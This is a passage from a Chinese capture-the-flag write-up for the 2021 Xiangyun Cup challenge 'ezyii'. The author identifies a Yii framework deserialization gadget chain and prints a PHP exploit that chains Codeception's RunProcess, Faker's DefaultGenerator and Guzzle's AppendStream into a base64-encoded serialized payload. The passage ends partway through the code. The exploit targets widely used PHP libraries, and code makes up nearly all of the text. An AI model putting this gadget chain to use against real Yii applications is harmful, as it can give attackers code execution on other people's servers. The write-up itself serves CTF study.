[祥云杯2021]几道简单题的wp

ezyii

https://xz.aliyun.com/t/9948

找yii链子打，开局就给了反序列化，看了一下是文章里面的第四条链子

exp

<?php
namespace Codeception\Extension{
   
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
   
        protected $output;
        private $processes = [];
        public function __construct(){
   
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
   
    class DefaultGenerator
{
   
    protected $default;

    public function __construct($default = null)
    {
   
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
   
    use Faker\DefaultGenerator;
    final class AppendStream{
   
        private $streams